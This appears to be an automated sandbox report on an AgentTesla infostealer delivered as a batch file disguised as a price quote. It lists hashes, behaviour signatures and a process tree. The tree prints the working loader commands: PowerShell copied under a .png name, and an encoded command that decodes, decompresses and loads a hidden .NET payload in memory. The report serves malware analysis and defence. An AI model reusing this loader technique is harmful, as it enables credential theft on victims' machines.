Analysis

  • max time kernel
    169s
  • max time network
    201s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-12-2023 17:14

General

  • Target

    NEW QUOTE-XXXXXXXXX88589032177700.bat

  • Size

    1009KB

  • MD5

    8e16ec48c40bfd51e6305c1b2f4e9fa8

  • SHA1

    24991017d3088f6fc943e11df888591aa34e3055

  • SHA256

    8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1

  • SHA512

    7bbad34c6a6f4d5e8316771ffbad11010d8527f3a713b53f115dfa98d2a7bbc6f4596503a3ada325cebe41d472d7e930311e3734f4f24fec8eb90170b2485eba

  • SSDEEP

    24576:W39YCqk2eQc9YQqzQ2ZBLjXyRnMIT98ZsXBHbrQ:Nrk9OtZdzKnMLZ8ZQ

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NEW QUOTE-XXXXXXXXX88589032177700.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:4832
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qzernyi.png
        2⤵
          PID:3676
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\NEW QUOTE-XXXXXXXXX88589032177700.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3752
          • C:\Windows\system32\xcopy.exe
            xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qzernyi.png
            3⤵
              PID:2900
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo F "
              3⤵
                PID:2044
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:3416
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\NEW QUOTE-XXXXXXXXX88589032177700.bat" C:\Users\Admin\AppData\Local\Temp\Qzernyi.png.bat
                  3⤵
                    PID:212
                  • C:\Users\Admin\AppData\Local\Temp\Qzernyi.png
                    C:\Users\Admin\AppData\Local\Temp\Qzernyi.png -win 1 -enc JABUAHYAdwBuAGMAagBpAGIAYQBwAGQAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATwBnAGsAbABmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFQAdgB3AG4AYwBqAGkAYgBhAHAAZAApADsAJABKAG0AagBiAG0AbABiAHkAcABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABPAGcAawBsAGYAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVABpAG0AYgBnAGkAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAG0AagBiAG0AbABiAHkAcABlACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABUAGkAbQBiAGcAaQBuAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABUAGkAbQBiAGcAaQBuAC4AQwBsAG8AcwBlACgAKQA7ACQASgBtAGoAYgBtAGwAYgB5AHAAZQAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAE8AZwBrAGwAZgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABPAGcAawBsAGYAKQA7ACAAJABYAHYAaQB2AHUAeQBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAE8AZwBrAGwAZgApADsAIAAkAEkAbgBrAGwAaQBoACAAPQAgACQAWAB2AGkAdgB1AHkAbAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAFYAcAB4AG8AeABvAHoAcAAgAD0AIAAkAEkAbgBrAGwAaQBoAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5044

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Qzernyi.png

                Filesize

                423KB

                MD5

                c32ca4acfcc635ec1ea6ed8a34df5fac

                SHA1

                f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                SHA256

                73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                SHA512

                6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

              • C:\Users\Admin\AppData\Local\Temp\Qzernyi.png.bat

                Filesize

                1009KB

                MD5

                8e16ec48c40bfd51e6305c1b2f4e9fa8

                SHA1

                24991017d3088f6fc943e11df888591aa34e3055

                SHA256

                8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1

                SHA512

                7bbad34c6a6f4d5e8316771ffbad11010d8527f3a713b53f115dfa98d2a7bbc6f4596503a3ada325cebe41d472d7e930311e3734f4f24fec8eb90170b2485eba

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2w0w5nqm.k4j.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • memory/5044-29-0x0000000074E60000-0x0000000075610000-memory.dmp

                Filesize

                7.7MB

              • memory/5044-31-0x0000000007D10000-0x000000000838A000-memory.dmp

                Filesize

                6.5MB

              • memory/5044-12-0x00000000059E0000-0x0000000006008000-memory.dmp

                Filesize

                6.2MB

              • memory/5044-13-0x0000000005710000-0x0000000005732000-memory.dmp

                Filesize

                136KB

              • memory/5044-14-0x00000000058B0000-0x0000000005916000-memory.dmp

                Filesize

                408KB

              • memory/5044-15-0x0000000005920000-0x0000000005986000-memory.dmp

                Filesize

                408KB

              • memory/5044-9-0x00000000030F0000-0x0000000003126000-memory.dmp

                Filesize

                216KB

              • memory/5044-25-0x0000000006110000-0x0000000006464000-memory.dmp

                Filesize

                3.3MB

              • memory/5044-26-0x00000000066D0000-0x00000000066EE000-memory.dmp

                Filesize

                120KB

              • memory/5044-27-0x0000000006720000-0x000000000676C000-memory.dmp

                Filesize

                304KB

              • memory/5044-10-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-8-0x0000000074E60000-0x0000000075610000-memory.dmp

                Filesize

                7.7MB

              • memory/5044-30-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-11-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-32-0x0000000006C20000-0x0000000006C3A000-memory.dmp

                Filesize

                104KB

              • memory/5044-33-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-34-0x0000000007890000-0x0000000007958000-memory.dmp

                Filesize

                800KB

              • memory/5044-35-0x0000000005430000-0x00000000054AA000-memory.dmp

                Filesize

                488KB

              • memory/5044-36-0x0000000007A60000-0x0000000007AC6000-memory.dmp

                Filesize

                408KB

              • memory/5044-39-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-40-0x00000000010E0000-0x0000000001123000-memory.dmp

                Filesize

                268KB

              • memory/5044-41-0x0000000005740000-0x0000000005782000-memory.dmp

                Filesize

                264KB

              • memory/5044-42-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB

              • memory/5044-43-0x0000000008940000-0x0000000008EE4000-memory.dmp

                Filesize

                5.6MB

              • memory/5044-44-0x00000000053A0000-0x00000000053B0000-memory.dmp

                Filesize

                64KB